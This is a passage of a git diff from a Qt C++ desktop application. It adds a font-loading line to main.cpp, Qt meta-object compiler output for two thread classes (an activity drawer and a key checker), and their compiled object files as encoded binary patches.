ba;T?VPIO=%yrkg2C5q&7Z+2tMxtix+F>;82 literal 0 HcmV?d00001 diff --git a/main.cpp b/main.cpp index f29faa1..5a6c20c 100644 --- a/main.cpp +++ b/main.cpp @@ -5,6 +5,7 @@ int main(int argc, char *argv[]) { QApplication a(argc, argv); + QStringList list; list << "Eurostile.ttf"; int fontID(-1); diff --git a/main.o b/main.o new file mode 100644 index 0000000000000000000000000000000000000000..d89079dba5f6eb40076be28bd8b07fe1bbfd32c9 GIT binary patch literal 9360 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 literal 0 HcmV?d00001 diff --git a/moc_ActivityDrawerTh_HorNet.cpp b/moc_ActivityDrawerTh_HorNet.cpp new file mode 100644 index 0000000..73e0574 --- /dev/null +++ b/moc_ActivityDrawerTh_HorNet.cpp @@ -0,0 +1,141 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'ActivityDrawerTh_HorNet.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "ActivityDrawerTh_HorNet.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'ActivityDrawerTh_HorNet.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_ActivityDrawerTh_HorNet_t { + QByteArrayData data[4]; + char stringdata[53]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_ActivityDrawerTh_HorNet_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_ActivityDrawerTh_HorNet_t qt_meta_stringdata_ActivityDrawerTh_HorNet = { + { +QT_MOC_LITERAL(0, 0, 23), +QT_MOC_LITERAL(1, 24, 17), +QT_MOC_LITERAL(2, 42, 0), +QT_MOC_LITERAL(3, 43, 9) + }, + "ActivityDrawerTh_HorNet\0sDrawActivityLine\0" + "\0sDrawGrid" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_ActivityDrawerTh_HorNet[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 2, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 2, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 1, 24, 2, 0x06 /* Public */, + 3, 0, 27, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, + + 0 // eod +}; + +void ActivityDrawerTh_HorNet::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + ActivityDrawerTh_HorNet *_t = static_cast<ActivityDrawerTh_HorNet *>(_o); + switch (_id) { + case 0: _t->sDrawActivityLine((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 1: _t->sDrawGrid(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (ActivityDrawerTh_HorNet::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&ActivityDrawerTh_HorNet::sDrawActivityLine)) { + *result = 0; + } + } + { + typedef void (ActivityDrawerTh_HorNet::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&ActivityDrawerTh_HorNet::sDrawGrid)) { + *result = 1; + } + } + } +} + +const QMetaObject ActivityDrawerTh_HorNet::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_ActivityDrawerTh_HorNet.data, + qt_meta_data_ActivityDrawerTh_HorNet, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *ActivityDrawerTh_HorNet::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *ActivityDrawerTh_HorNet::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_ActivityDrawerTh_HorNet.stringdata)) + return static_cast<void*>(const_cast< ActivityDrawerTh_HorNet*>(this)); + return QThread::qt_metacast(_clname); +} + +int ActivityDrawerTh_HorNet::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 2) + qt_static_metacall(this, _c, _id, _a); + _id -= 2; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 2) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 2; + } + return _id; +} + +// SIGNAL 0 +void ActivityDrawerTh_HorNet::sDrawActivityLine(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 0, _a); +} + +// SIGNAL 1 +void ActivityDrawerTh_HorNet::sDrawGrid() +{ + QMetaObject::activate(this, &staticMetaObject, 1, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_ActivityDrawerTh_HorNet.o b/moc_ActivityDrawerTh_HorNet.o new file mode 100644 index 0000000000000000000000000000000000000000..03780ee06a45e18291747389d2b80898cb1a37d6 GIT binary patch literal 10168 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 CbJS@7 literal 0 HcmV?d00001 diff --git a/moc_CheckKey_Th.cpp b/moc_CheckKey_Th.cpp new file mode 100644 index 0000000..285d7dc --- /dev/null +++ b/moc_CheckKey_Th.cpp @@ -0,0 +1,88 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'CheckKey_Th.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "CheckKey_Th.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'CheckKey_Th.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_CheckKey_Th_t { + QByteArrayData data[1]; + char stringdata[12]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_CheckKey_Th_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_CheckKey_Th_t qt_meta_stringdata_CheckKey_Th = { + { +QT_MOC_LITERAL(0, 0, 11) + }, + "CheckKey_Th" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_CheckKey_Th[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 0, 0, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 0, // signalCount + + 0 // eod +}; + +void CheckKey_Th::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + Q_UNUSED(_o); + Q_UNUSED(_id); + Q_UNUSED(_c); + Q_UNUSED(_a); +} + +const QMetaObject CheckKey_Th::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_CheckKey_Th.data, + qt_meta_data_CheckKey_Th, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *CheckKey_Th::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *CheckKey_Th::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_CheckKey_Th.stringdata)) + return static_cast<void*>(const_cast< CheckKey_Th*>(this)); + return QThread::qt_metacast(_clname); +} + +int CheckKey_Th::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + return _id; +} +QT_END_MOC_NAMESPACE diff --git a/moc_CheckKey_Th.o b/moc_CheckKey_Th.o new file mode 100644 index 0000000000000000000000000000000000000000..90e42498380e8308a1d33b0e506805653f85e02d GIT binary patch literal 7136 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 